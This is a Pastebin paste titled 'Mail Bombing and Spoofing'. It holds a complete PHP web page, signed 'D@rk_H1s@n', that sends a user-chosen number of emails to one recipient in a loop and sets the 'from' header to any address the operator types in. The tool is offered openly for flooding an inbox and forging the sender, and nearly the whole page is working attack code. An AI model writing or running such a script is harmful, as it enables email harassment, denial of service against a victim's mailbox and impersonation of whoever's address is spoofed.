Advertisement
Hasannetbd

Mail Bombing and Spoofing

Jun 16th, 2017
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.91 KB | None | 0 0
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "[www.w3.org];
  2. <html xmlns="[www.w3.org];
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>Mail Stress Test</title>
  6. <style>
  7. body
  8. {
  9. background-color: gray;
  10. }
  11. #stuff
  12. {
  13. font-family: courier;
  14. color: #FBB917;
  15. margin: auto;
  16. width: 1000px;
  17. height: 600px;
  18. font-size: 20px;
  19.  
  20. }
  21. span.small
  22. {
  23. font-size: 13px;
  24. }
  25. </style>
  26. </head>
  27.  
  28. <body>
  29. <div id="stuff">
  30. <center><h1>Mail Bombing By D@rk_H1s@n</h1></center>
  31. <center>
  32. <?php
  33. if(isset($_POST["button"])){
  34. $from = $_POST["ymail"];
  35. if (preg_match("/^[^@]*@[^@]*\.[^@]*$/", $from)) {
  36. $to = $_POST["rec"];
  37. $subject = $_POST["subject"];
  38. $from = $_POST["ymail"];
  39. $message = $_POST["mail"];
  40. $header = "MIME-Version: 1.0" . "\r\n";
  41. $header .= "Content-type: text/html; charset=iso-8859-1" . "\r\n";
  42. $header .= "from:$from";
  43. $i = 1;
  44. $loop = $_POST["amount"];
  45. while($i <= $loop)
  46. {
  47. mail($to,$subject,$message,$header);
  48. echo "Mail sent to " . $to . "!<br />
  49. " . $i;
  50. $i++;
  51. }
  52. }else{
  53. echo "Please enter a valid email.";
  54. }
  55. }
  56. else
  57. {
  58. ?>
  59. <table>
  60. <form action="" method="post">
  61. <tr>
  62. <td>Receiver:</td><td><input type="text" name="rec" style="width: 800px;"></td>
  63. </tr>
  64.  
  65. <tr>
  66. <td>Subject:</td><td><input type="text" name="subject" style="width: 800px;"></td>
  67. </tr>
  68.  
  69. <tr>
  70. <td>Your mail:</td><td><input type="text" name="ymail" style="width: 800px;"></td>
  71. </tr>
  72.  
  73. <tr>
  74. <td>Amount of mails:</td><td><input type="text" name="amount" value="1" style="width: 800px;"></td>
  75. </tr>
  76.  
  77. <tr>
  78. <td>Mail:</td><td><textarea name="mail" style="width: 800px; height: 200px;"></textarea></td>
  79. </tr>
  80.  
  81. <tr>
  82. <td></td>
  83. <td><input type="submit" value="Send mail" name="button" style="width: 800px; height: 100px;"></td>
  84. </tr>
  85.  
  86. </form>
  87. </table>
  88. <?php
  89. }
  90. ?>
  91. </center>
  92. <p><span class="small">FB ON ME:<a href='http://fb.me/d1rk-h1s1n'>D@rk_H1s@n</a></span></p>
  93. </div>
  94. </body>
  95. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement